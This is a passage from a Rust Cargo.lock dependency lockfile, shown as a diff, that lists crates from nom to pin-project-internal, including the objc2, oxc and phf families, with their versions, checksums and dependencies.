"d273983c5a657a70a3e8f2a01329822f3b8c8172b73826411a55751e404a0a4a" +dependencies = [ + "memchr", + "minimal-lexical", +] + +[[package]] +name = "nom" +version = "8.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "df9761775871bdef83bee530e60050f7e54b1105350d6884eb0fb4f46c2f9405" +dependencies = [ + "memchr", +] + +[[package]] +name = "nonmax" +version = "0.5.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "610a5acd306ec67f907abe5567859a3c693fb9886eb1f012ab8f2a47bef3db51" + +[[package]] +name = "num" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "35bd024e8b2ff75562e5f34e7f4905839deb4b22955ef5e73d2fea1b9813cb23" +dependencies = [ + "num-bigint 0.4.8", + "num-complex", + "num-integer", + "num-iter", + "num-rational", + "num-traits", +] + +[[package]] +name = "num-bigint" +version = "0.4.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c89e69e7e0f03bea5ef08013795c25018e101932225a656383bd384495ecc367" +dependencies = [ + "num-integer", + "num-traits", +] + +[[package]] +name = "num-bigint" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "93e7820bc0a80a0238e650327316f929ba18d5be054b647490a3a6a339f3e7c0" +dependencies = [ + "num-integer", + "num-traits", +] + +[[package]] +name = "num-bigint-dig" +version = "0.8.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e661dda6640fad38e827a6d4a310ff4763082116fe217f279885c97f511bb0b7" +dependencies = [ + "lazy_static", + "libm", + "num-integer", + "num-iter", + "num-traits", + "rand 0.8.8", + "smallvec", + "zeroize", +] + +[[package]] +name = "num-complex" +version = "0.4.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "73f88a1307638156682bada9d7604135552957b7818057dcef22705b4d509495" +dependencies = [ + "num-traits", +] + +[[package]] +name = "num-integer" +version = "0.1.47" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7ce2d95d4b3734dc35aa2f45e1aa22cd416814592a4f9d9205e11affd5b8e10b" +dependencies = [ + "num-traits", +] + +[[package]] +name = "num-iter" +version = "0.1.46" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c92800bd69a1eac91786bcfe9da64a897eb72911b8dc3095decbd07429e8048b" +dependencies = [ + "num-integer", + "num-traits", +] + +[[package]] +name = "num-rational" +version = "0.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f83d14da390562dca69fc84082e73e548e1ad308d24accdedd2720017cb37824" +dependencies = [ + "num-bigint 0.4.8", + "num-integer", + "num-traits", +] + +[[package]] +name = "num-traits" +version = "0.2.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "071dfc062690e90b734c0b2273ce72ad0ffa95f0c74596bc250dcfd960262841" +dependencies = [ + "autocfg", + "libm", +] + +[[package]] +name = "num_enum" +version = "0.7.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5d0bca838442ec211fa11de3a8b0e0e8f3a4522575b5c4c06ed722e005036f26" +dependencies = [ + "num_enum_derive", + "rustversion", +] + +[[package]] +name = "num_enum_derive" +version = "0.7.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "680998035259dcfcafe653688bf2aa6d3e2dc05e98be6ab46afb089dc84f1df8" +dependencies = [ + "proc-macro-crate", + "proc-macro2", + "quote", + "syn 2.0.119", +] + +[[package]] +name = "objc-sys" +version = "0.3.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cdb91bdd390c7ce1a8607f35f3ca7151b65afc0ff5ff3b34fa350f7d7c7e4310" + +[[package]] +name = "objc2" +version = "0.5.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "19d5490aaf8f1d7cf7688dfa9b0ce07900e168852c45cd2c03f534dfd27cfd0b" +dependencies = [ + "objc-sys", + "objc2-encode", +] + +[[package]] +name = "objc2" +version = "0.6.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "08849bbd4767dfae9457696856ae1c84fe4e0281bbe4a7abff2d0e06fb7981f8" +dependencies = [ + "objc2-encode", +] + +[[package]] +name = "objc2-app-kit" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e4e89ad9e3d7d297152b17d39ed92cd50ca8063a89a9fa569046d41568891eff" +dependencies = [ + "bitflags 2.13.2", + "block2 0.5.1", + "libc", + "objc2 0.5.3", + "objc2-core-data 0.2.2", + "objc2-core-image 0.2.2", + "objc2-foundation 0.2.2", + "objc2-quartz-core 0.2.2", +] + +[[package]] +name = "objc2-app-kit" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d49e936b501e5c5bf01fda3a9452ff86dc3ea98ad5f283e1455153142d97518c" +dependencies = [ + "bitflags 2.13.2", + "block2 0.6.2", + "libc", + "objc2 0.6.5", + "objc2-cloud-kit 0.3.2", + "objc2-core-data 0.3.2", + "objc2-core-foundation", + "objc2-core-graphics", + "objc2-core-image 0.3.2", + "objc2-core-text", + "objc2-core-video", + "objc2-foundation 0.3.2", + "objc2-quartz-core 0.3.2", +] + +[[package]] +name = "objc2-av-foundation" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "478ae33fcac9df0a18db8302387c666b8ef08a3e2d62b510ca4fc278a384b6c0" +dependencies = [ + "bitflags 2.13.2", + "block2 0.6.2", + "dispatch2", + "objc2 0.6.5", + "objc2-avf-audio", + "objc2-core-audio-types", + "objc2-core-foundation", + "objc2-core-graphics", + "objc2-core-image 0.3.2", + "objc2-core-video", + "objc2-foundation 0.3.2", + "objc2-image-io", + "objc2-media-toolbox", + "objc2-quartz-core 0.3.2", +] + +[[package]] +name = "objc2-avf-audio" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "13a380031deed8e99db00065c45937da434ca987c034e13b87e4441f9e4090be" +dependencies = [ + "objc2 0.6.5", + "objc2-foundation 0.3.2", +] + +[[package]] +name = "objc2-cloud-kit" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "74dd3b56391c7a0596a295029734d3c1c5e7e510a4cb30245f8221ccea96b009" +dependencies = [ + "bitflags 2.13.2", + "block2 0.5.1", + "objc2 0.5.3", + "objc2-core-location", + "objc2-foundation 0.2.2", +] + +[[package]] +name = "objc2-cloud-kit" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "73ad74d880bb43877038da939b7427bba67e9dd42004a18b809ba7d87cee241c" +dependencies = [ + "bitflags 2.13.2", + "objc2 0.6.5", + "objc2-foundation 0.3.2", +] + +[[package]] +name = "objc2-contacts" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a5ff520e9c33812fd374d8deecef01d4a840e7b41862d849513de77e44aa4889" +dependencies = [ + "block2 0.5.1", + "objc2 0.5.3", + "objc2-foundation 0.2.2", +] + +[[package]] +name = "objc2-core-audio" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e1eebcea8b0dbff5f7c8504f3107c68fc061a3eb44932051c8cf8a68d969c3b2" +dependencies = [ + "dispatch2", + "objc2 0.6.5", + "objc2-core-audio-types", + "objc2-core-foundation", +] + +[[package]] +name = "objc2-core-audio-types" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5a89f2ec274a0cf4a32642b2991e8b351a404d290da87bb6a9a9d8632490bd1c" +dependencies = [ + "bitflags 2.13.2", + "objc2 0.6.5", +] + +[[package]] +name = "objc2-core-data" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "617fbf49e071c178c0b24c080767db52958f716d9eabdf0890523aeae54773ef" +dependencies = [ + "bitflags 2.13.2", + "block2 0.5.1", + "objc2 0.5.3", + "objc2-foundation 0.2.2", +] + +[[package]] +name = "objc2-core-data" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b402a653efbb5e82ce4df10683b6b28027616a2715e90009947d50b8dd298fa" +dependencies = [ + "bitflags 2.13.2", + "objc2 0.6.5", + "objc2-foundation 0.3.2", +] + +[[package]] +name = "objc2-core-foundation" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2a180dd8642fa45cdb7dd721cd4c11b1cadd4929ce112ebd8b9f5803cc79d536" +dependencies = [ + "bitflags 2.13.2", + "block2 0.6.2", + "dispatch2", + "libc", + "objc2 0.6.5", +] + +[[package]] +name = "objc2-core-graphics" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e022c9d066895efa1345f8e33e584b9f958da2fd4cd116792e15e07e4720a807" +dependencies = [ + "bitflags 2.13.2", + "block2 0.6.2", + "dispatch2", + "libc", + "objc2 0.6.5", + "objc2-core-foundation", + "objc2-io-surface", + "objc2-metal 0.3.2", +] + +[[package]] +name = "objc2-core-image" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "55260963a527c99f1819c4f8e3b47fe04f9650694ef348ffd2227e8196d34c80" +dependencies = [ + "block2 0.5.1", + "objc2 0.5.3", + "objc2-foundation 0.2.2", + "objc2-metal 0.2.2", +] + +[[package]] +name = "objc2-core-image" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e5d563b38d2b97209f8e861173de434bd0214cf020e3423a52624cd1d989f006" +dependencies = [ + "objc2 0.6.5", + "objc2-foundation 0.3.2", +] + +[[package]] +name = "objc2-core-location" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "000cfee34e683244f284252ee206a27953279d370e309649dc3ee317b37e5781" +dependencies = [ + "block2 0.5.1", + "objc2 0.5.3", + "objc2-contacts", + "objc2-foundation 0.2.2", +] + +[[package]] +name = "objc2-core-media" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "05ec576860167a15dd9fce7fbee7512beb4e31f532159d3482d1f9c6caedf31d" +dependencies = [ + "bitflags 2.13.2", + "block2 0.6.2", + "dispatch2", + "objc2 0.6.5", + "objc2-core-audio", + "objc2-core-audio-types", + "objc2-core-foundation", + "objc2-core-video", +] + +[[package]] +name = "objc2-core-text" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0cde0dfb48d25d2b4862161a4d5fcc0e3c24367869ad306b0c9ec0073bfed92d" +dependencies = [ + "bitflags 2.13.2", + "objc2 0.6.5", + "objc2-core-foundation", + "objc2-core-graphics", +] + +[[package]] +name = "objc2-core-video" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d425caf1df73233f29fd8a5c3e5edbc30d2d4307870f802d18f00d83dc5141a6" +dependencies = [ + "bitflags 2.13.2", + "block2 0.6.2", + "objc2 0.6.5", + "objc2-core-foundation", + "objc2-core-graphics", + "objc2-io-surface", + "objc2-metal 0.3.2", +] + +[[package]] +name = "objc2-encode" +version = "4.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ef25abbcd74fb2609453eb695bd2f860d389e457f67dc17cafc8b8cbc89d0c33" + +[[package]] +name = "objc2-foundation" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0ee638a5da3799329310ad4cfa62fbf045d5f56e3ef5ba4149e7452dcf89d5a8" +dependencies = [ + "bitflags 2.13.2", + "block2 0.5.1", + "dispatch", + "libc", + "objc2 0.5.3", +] + +[[package]] +name = "objc2-foundation" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e3e0adef53c21f888deb4fa59fc59f7eb17404926ee8a6f59f5df0fd7f9f3272" +dependencies = [ + "bitflags 2.13.2", + "block2 0.6.2", + "libc", + "objc2 0.6.5", + "objc2-core-foundation", +] + +[[package]] +name = "objc2-image-io" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32b0446e98cf4a784cc7a0177715ff317eeaa8463841c616cfc78aa4f953c4ea" +dependencies = [ + "objc2 0.6.5", + "objc2-core-foundation", + "objc2-core-graphics", +] + +[[package]] +name = "objc2-io-surface" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "180788110936d59bab6bd83b6060ffdfffb3b922ba1396b312ae795e1de9d81d" +dependencies = [ + "bitflags 2.13.2", + "objc2 0.6.5", + "objc2-core-foundation", +] + +[[package]] +name = "objc2-link-presentation" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a1a1ae721c5e35be65f01a03b6d2ac13a54cb4fa70d8a5da293d7b0020261398" +dependencies = [ + "block2 0.5.1", + "objc2 0.5.3", + "objc2-app-kit 0.2.2", + "objc2-foundation 0.2.2", +] + +[[package]] +name = "objc2-media-toolbox" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "edd9fdde720df3da7046bb9097811000c1e7ab5cd579fa89d96b27d56781fb30" +dependencies = [ + "objc2 0.6.5", + "objc2-core-audio-types", + "objc2-core-foundation", + "objc2-core-media", +] + +[[package]] +name = "objc2-metal" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dd0cba1276f6023976a406a14ffa85e1fdd19df6b0f737b063b95f6c8c7aadd6" +dependencies = [ + "bitflags 2.13.2", + "block2 0.5.1", + "objc2 0.5.3", + "objc2-foundation 0.2.2", +] + +[[package]] +name = "objc2-metal" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a0125f776a10d00af4152d74616409f0d4a2053a6f57fa5b7d6aa2854ac04794" +dependencies = [ + "bitflags 2.13.2", + "block2 0.6.2", + "objc2 0.6.5", + "objc2-foundation 0.3.2", +] + +[[package]] +name = "objc2-quartz-core" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e42bee7bff906b14b167da2bac5efe6b6a07e6f7c0a21a7308d40c960242dc7a" +dependencies = [ + "bitflags 2.13.2", + "block2 0.5.1", + "objc2 0.5.3", + "objc2-foundation 0.2.2", + "objc2-metal 0.2.2", +] + +[[package]] +name = "objc2-quartz-core" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "96c1358452b371bf9f104e21ec536d37a650eb10f7ee379fff67d2e08d537f1f" +dependencies = [ + "bitflags 2.13.2", + "objc2 0.6.5", + "objc2-core-foundation", + "objc2-core-graphics", + "objc2-foundation 0.3.2", + "objc2-metal 0.3.2", +] + +[[package]] +name = "objc2-symbols" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0a684efe3dec1b305badae1a28f6555f6ddd3bb2c2267896782858d5a78404dc" +dependencies = [ + "objc2 0.5.3", + "objc2-foundation 0.2.2", +] + +[[package]] +name = "objc2-ui-kit" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b8bb46798b20cd6b91cbd113524c490f1686f4c4e8f49502431415f3512e2b6f" +dependencies = [ + "bitflags 2.13.2", + "block2 0.5.1", + "objc2 0.5.3", + "objc2-cloud-kit 0.2.2", + "objc2-core-data 0.2.2", + "objc2-core-image 0.2.2", + "objc2-core-location", + "objc2-foundation 0.2.2", + "objc2-link-presentation", + "objc2-quartz-core 0.2.2", + "objc2-symbols", + "objc2-uniform-type-identifiers", + "objc2-user-notifications", +] + +[[package]] +name = "objc2-ui-kit" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d87d638e33c06f577498cbcc50491496a3ed4246998a7fbba7ccb98b1e7eab22" +dependencies = [ + "bitflags 2.13.2", + "objc2 0.6.5", + "objc2-core-foundation", + "objc2-foundation 0.3.2", +] + +[[package]] +name = "objc2-uniform-type-identifiers" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "44fa5f9748dbfe1ca6c0b79ad20725a11eca7c2218bceb4b005cb1be26273bfe" +dependencies = [ + "block2 0.5.1", + "objc2 0.5.3", + "objc2-foundation 0.2.2", +] + +[[package]] +name = "objc2-user-notifications" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "76cfcbf642358e8689af64cee815d139339f3ed8ad05103ed5eaf73db8d84cb3" +dependencies = [ + "bitflags 2.13.2", + "block2 0.5.1", + "objc2 0.5.3", + "objc2-core-location", + "objc2-foundation 0.2.2", +] + +[[package]] +name = "object" +version = "0.36.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "62948e14d923ea95ea2c7c86c71013138b66525b86bdc08d2dcc262bdb497b87" +dependencies = [ + "memchr", +] + +[[package]] +name = "object" +version = "0.40.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dd229a0361b9d0d4396176e02d65897f487eebeab7caa6d443855ee152ca0b9c" +dependencies = [ + "crc32fast", + "hashbrown 0.17.1", + "indexmap", + "memchr", +] + +[[package]] +name = "once_cell" +version = "1.21.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9f7c3e4beb33f85d45ae3e3a1792185706c8e16d043238c593331cc7cd313b50" + +[[package]] +name = "once_cell_polyfill" +version = "1.70.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "384b8ab6d37215f3c5301a95a4accb5d64aa607f1fcb26a11b5303878451b4fe" + +[[package]] +name = "open" +version = "5.4.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "aa576c76302b7b808eecc68061e67336c47833ef9d22caa74dda10fa9675eebc" +dependencies = [ + "is-wsl", + "libc", +] + +[[package]] +name = "option-ext" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "04744f49eae99ab78e0d5c0b603ab218f515ea8cfe5a456d7629ad883a3b6e7d" + +[[package]] +name = "orbclient" +version = "0.3.55" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5df339f526ea9a60e371768d50efc2f2508c7203290731565d1f7a6f71d21747" +dependencies = [ + "libc", + "libredox", +] + +[[package]] +name = "ordered-float" +version = "5.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8c7c9e0d9b23589f26070720bac724174bfec1083e82f7854cdd0267518343c0" +dependencies = [ + "num-traits", +] + +[[package]] +name = "ordered-stream" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9aa2b01e1d916879f73a53d01d1d6cee68adbb31d6d9177a8cfce093cced1d50" +dependencies = [ + "futures-core", + "pin-project-lite", +] + +[[package]] +name = "outref" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1a80800c0488c3a21695ea981a54918fbb37abf04f4d0720c453632255e2ff0e" + +[[package]] +name = "oxc_allocator" +version = "0.153.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a9222664e7018ba33c0781da9b8b97007afdf86e4702123dde331c0f32168550" +dependencies = [ + "allocator-api2", + "hashbrown 0.17.1", + "oxc_data_structures", + "rustc-hash 2.1.3", +] + +[[package]] +name = "oxc_ast" +version = "0.153.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6b02c8089e522e19f85f03e384042b9acd2e7013e125bc11e17ff052160b5ce8" +dependencies = [ + "bitflags 2.13.2", + "oxc_allocator", + "oxc_ast_macros", + "oxc_data_structures", + "oxc_diagnostics", + "oxc_estree", + "oxc_regular_expression", + "oxc_span", + "oxc_str", + "oxc_syntax", +] + +[[package]] +name = "oxc_ast_macros" +version = "0.153.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b795bfdf0b88722a9f0e9a61a9ef6d2ecd115a728f5f0290fcc66da3ec5151ea" +dependencies = [ + "phf 0.14.0", + "proc-macro2", + "quote", + "syn 3.0.9", +] + +[[package]] +name = "oxc_ast_visit" +version = "0.153.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "62ee65572c656f232524b4c55c0fe8fc9b54a0f444a40c74727f623aecb2dd54" +dependencies = [ + "oxc_allocator", + "oxc_ast", + "oxc_span", + "oxc_syntax", +] + +[[package]] +name = "oxc_codegen" +version = "0.153.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5534ee12503faae4e633c0dff6b873450116e5c97bd75adf6fb3d6274a9dc317" +dependencies = [ + "bitflags 2.13.2", + "cow-utils", + "oxc_allocator", + "oxc_ast", + "oxc_data_structures", + "oxc_ecmascript", + "oxc_index", + "oxc_semantic", + "oxc_sourcemap", + "oxc_span", + "oxc_str", + "oxc_syntax", + "rustc-hash 2.1.3", + "smallvec", +] + +[[package]] +name = "oxc_data_structures" +version = "0.153.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6fbea321d618c6b87789cfc19aee4e332525b25420c8c5644ea71f1ffae5e68" + +[[package]] +name = "oxc_diagnostics" +version = "0.153.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a93ce3ad9aacc728d625990815e41a844e3285c518b8a4508c4f1a423f5251cd" +dependencies = [ + "bytecount", + "cow-utils", + "itoa", + "memchr", + "oxc_span", + "percent-encoding", + "smallvec", + "textwrap", + "unicode-segmentation", + "unicode-width", +] + +[[package]] +name = "oxc_ecmascript" +version = "0.153.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "52605e06c9ef037d346a45e89db78f60962e39f26f648b41d930854354ba1e93" +dependencies = [ + "dragonbox_ecma", + "itoa", + "num-bigint 0.5.1", + "num-traits", + "oxc_ast", + "oxc_data_structures", + "oxc_span", + "oxc_syntax", +] + +[[package]] +name = "oxc_estree" +version = "0.153.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "58d091d1d56046eca8741fc89d7e205a9c4c560ff80313be931a6be57edbcc3e" + +[[package]] +name = "oxc_index" +version = "5.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "191884bee6c3744909a51acc7d78d4ae370d817b25875b10642f632327b6296e" +dependencies = [ + "nonmax", + "serde", +] + +[[package]] +name = "oxc_parser" +version = "0.153.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "71ce9e6d646d84b30f8eb4e1a1b50c69e66f4ef08066c721a3b82a451326bad4" +dependencies = [ + "bitflags 2.13.2", + "cow-utils", + "memchr", + "num-bigint 0.5.1", + "num-traits", + "oxc_allocator", + "oxc_ast", + "oxc_data_structures", + "oxc_diagnostics", + "oxc_ecmascript", + "oxc_regular_expression", + "oxc_span", + "oxc_str", + "oxc_syntax", + "rustc-hash 2.1.3", + "seq-macro", +] + +[[package]] +name = "oxc_regular_expression" +version = "0.153.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "369f33abce8a9a6a49c97a16579d8bb42331f1dd0ea5826412729ab94085c155" +dependencies = [ + "bitflags 2.13.2", + "oxc_allocator", + "oxc_ast_macros", + "oxc_diagnostics", + "oxc_span", + "oxc_str", + "phf 0.14.0", + "rustc-hash 2.1.3", + "unicode-id-start", +] + +[[package]] +name = "oxc_semantic" +version = "0.153.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2819478f4352d619c21b14ace45c08c78b9eacdcb2d5cd4c90072e0ef58119ab" +dependencies = [ + "itertools 0.15.0", + "memchr", + "oxc_allocator", + "oxc_ast", + "oxc_ast_visit", + "oxc_data_structures", + "oxc_diagnostics", + "oxc_ecmascript", + "oxc_index", + "oxc_span", + "oxc_str", + "oxc_syntax", + "rustc-hash 2.1.3", + "self_cell", + "smallvec", +] + +[[package]] +name = "oxc_sourcemap" +version = "9.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1133371a5fadc14b9f66a8fec14be3564a77647c7ab21b1ef0ec973bd82613ce" +dependencies = [ + "base64-simd", + "json-escape-simd", + "rustc-hash 2.1.3", + "serde", + "serde_json", +] + +[[package]] +name = "oxc_span" +version = "0.153.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "152232e21d62e0ddd2a6c23867121c3252e663f05cdc432578d9e1efc52a253b" +dependencies = [ + "compact_str", + "oxc_allocator", + "oxc_ast_macros", + "oxc_estree", + "oxc_str", +] + +[[package]] +name = "oxc_str" +version = "0.153.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "37716fe1827bf766fa68e9f1011408ca0149b90903ae171289c48401229e2f34" +dependencies = [ + "compact_str", + "hashbrown 0.17.1", + "oxc_allocator", + "oxc_estree", +] + +[[package]] +name = "oxc_syntax" +version = "0.153.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d2214f0546f6df736d976b611782df7072fbe8010e4f3bbd3b98bee37e814b6a" +dependencies = [ + "bitflags 2.13.2", + "cow-utils", + "dragonbox_ecma", + "nonmax", + "oxc_allocator", + "oxc_ast_macros", + "oxc_estree", + "oxc_index", + "oxc_span", + "oxc_str", + "phf 0.14.0", + "unicode-id-start", +] + +[[package]] +name = "p256" +version = "0.13.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c9863ad85fa8f4460f9c48cb909d38a0d689dba1f6f6988a5e3e0d31071bcd4b" +dependencies = [ + "ecdsa", + "elliptic-curve", + "primeorder", + "sha2", +] + +[[package]] +name = "p384" +version = "0.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fe42f1670a52a47d448f14b6a5c61dd78fce51856e68edaa38f7ae3a46b8d6b6" +dependencies = [ + "ecdsa", + "elliptic-curve", + "primeorder", + "sha2", +] + +[[package]] +name = "parking" +version = "2.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f38d5652c16fde515bb1ecef450ab0f6a219d619a7274976324d5e377f7dceba" + +[[package]] +name = "parking_lot" +version = "0.12.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "93857453250e3077bd71ff98b6a65ea6621a19bb0f559a85248955ac12c45a1a" +dependencies = [ + "lock_api", + "parking_lot_core", +] + +[[package]] +name = "parking_lot_core" +version = "0.9.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2621685985a2ebf1c516881c026032ac7deafcda1a2c9b7850dc81e3dfcb64c1" +dependencies = [ + "cfg-if", + "libc", + "redox_syscall 0.5.18", + "smallvec", + "windows-link", +] + +[[package]] +name = "pem-rfc7468" +version = "0.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "88b39c9bfcfc231068454382784bb460aae594343fb030d46e9f50a645418412" +dependencies = [ + "base64ct", +] + +[[package]] +name = "peniko" +version = "0.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "839c8299360d2e998bdb106dc0a6cd71dcc5f4df51df1b620361bf50e283cca6" +dependencies = [ + "bytemuck", + "color", + "kurbo 0.13.1", + "linebender_resource_handle", + "smallvec", +] + +[[package]] +name = "percent-encoding" +version = "2.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9b4f627cb1b25917193a259e49bdad08f671f8d9708acfd5fe0a8c1455d87220" + +[[package]] +name = "phf" +version = "0.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c1562dc717473dbaa4c1f85a36410e03c047b2e7df7f45ee938fbef64ae7fadf" +dependencies = [ + "phf_macros 0.13.1", + "phf_shared 0.13.1", + "serde", +] + +[[package]] +name = "phf" +version = "0.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "010378780309880b08997fae13be7834dba947d36393bd372f2b1556deb2a2f6" +dependencies = [ + "phf_macros 0.14.0", + "phf_shared 0.14.0", + "serde", +] + +[[package]] +name = "phf_generator" +version = "0.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "135ace3a761e564ec88c03a77317a7c6b80bb7f7135ef2544dbe054243b89737" +dependencies = [ + "fastrand", + "phf_shared 0.13.1", +] + +[[package]] +name = "phf_generator" +version = "0.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "aeb62e0959d5a1bebc965f4d15d9e2b7cea002b6b0f5ba8cde6cc26738467100" +dependencies = [ + "fastrand", + "phf_shared 0.14.0", +] + +[[package]] +name = "phf_macros" +version = "0.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "812f032b54b1e759ccd5f8b6677695d5268c588701effba24601f6932f8269ef" +dependencies = [ + "phf_generator 0.13.1", + "phf_shared 0.13.1", + "proc-macro2", + "quote", + "syn 2.0.119", +] + +[[package]] +name = "phf_macros" +version = "0.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5fa8d0ca26d424d27630da600c6624696e7dec8bf7b3b492b383c5dc49e5e085" +dependencies = [ + "phf_generator 0.14.0", + "phf_shared 0.14.0", + "proc-macro2", + "quote", + "syn 2.0.119", +] + +[[package]] +name = "phf_shared" +version = "0.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e57fef6bc5981e38c2ce2d63bfa546861309f875b8a75f092d1d54ae2d64f266" +dependencies = [ + "siphasher", +] + +[[package]] +name = "phf_shared" +version = "0.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c6fd9027e2d9319be6349febd1db4e8d02aa544921200c9b777720ac34a3aa89" +dependencies = [ + "siphasher", +] + +[[package]] +name = "pico-args" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5be167a7af36ee22fe3115051bc51f6e6c7054c9348e28deb4f49bd6f705a315" + +[[package]] +name = "pin-project" +version = "1.1.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2466b2336ed02bcdca6b294417127b90ec92038d1d5c4fbeac971a922e0e0924" +dependencies = [ + "pin-project-internal", +] + +[[package]] +name = "pin-project-internal" +version = "1.1.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = 